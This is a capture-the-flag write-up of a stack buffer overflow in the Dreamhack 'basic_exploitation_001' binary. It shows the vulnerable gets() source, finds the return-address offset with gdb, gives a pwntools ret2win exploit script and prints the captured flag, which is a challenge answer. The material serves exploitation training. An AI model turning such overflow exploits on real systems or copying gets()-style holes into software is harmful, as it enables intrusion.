Categories:

Tags:



Enumeration

System information is as follows.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Source code reveals a simple program which reads from the standard input.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_001]
└─$ cat basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

Exploitation

As the source code does not contain any checks for the user input, we’ll be able to cause a buffer overflow. To find the input length required to overwrite RET, I’ll create a payload using msf-pattern_create.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_001]
└─$ msf-pattern_create -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

By inputting the payload via gdb, I’m able to cause an overflow which results in an error with the address 0x41346541.

gdb-peda$ r
Starting program: /home/m0nk3y/DH/basic_exploitation_001/basic_exploitation_001
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fa7580 --> 0xfbad208b
EDX: 0xfbad208b
ESI: 0x1
EDI: 0x8048460 (<_start>:   xor    ebp,ebp)
EBP: 0x33654132 ('2Ae3')
ESP: 0xffffd0f0 ("e5Ae6Ae7Ae8Ae9")
EIP: 0x41346541 ('Ae4A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41346541
[------------------------------------stack-------------------------------------]
0000| 0xffffd0f0 ("e5Ae6Ae7Ae8Ae9")
0004| 0xffffd0f4 ("6Ae7Ae8Ae9")
0008| 0xffffd0f8 ("Ae8Ae9")
0012| 0xffffd0fc --> 0xff003965
0016| 0xffffd100 --> 0xffffd134 --> 0x26e0174c
0020| 0xffffd104 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
0024| 0xffffd108 --> 0xf7fc3420 --> 0x80482fb ("GLIBC_2.0")
0028| 0xffffd10c --> 0xf7fa7000 --> 0x1ead6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41346541 in ?? ()

msf-pattern_offset shows that the offset is 132.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_001]
└─$ msf-pattern_offset -l 150 -q 0x41346541
[*] Exact match at offset 132

Since the NX bit is enabled, I’ll use nm to find the address of the function read_flag.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_001]
└─$ nm basic_exploitation_001 | grep read_flag
080485b9 T read_flag

With these information, I’ll write an exploit which would cause a buffer overflow and overwrite RET with the address of read_flag in order to read the flag from the target.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_001]
└─$ cat exploit.py
import sys
from pwn import *

client= remote(sys.argv[1], int(sys.argv[2]))

pad= "\x90"*(132)
eip= p32(0x080485b9)

client.sendline(pad+eip)
print(client.recvall())

Post Exploitation

By running the exploit, I’m able to read the flag.

┌──(m0nk3y@kali)-[~/DH/basic_exploitation_001]
└─$ python2 exploit.py host1.dreamhack.games 22126
[+] Opening connection to host1.dreamhack.games on port 22126: Done
[*] Switching to interactive mode
DH{01ec06f5e1466e44f86a79444a7cd116}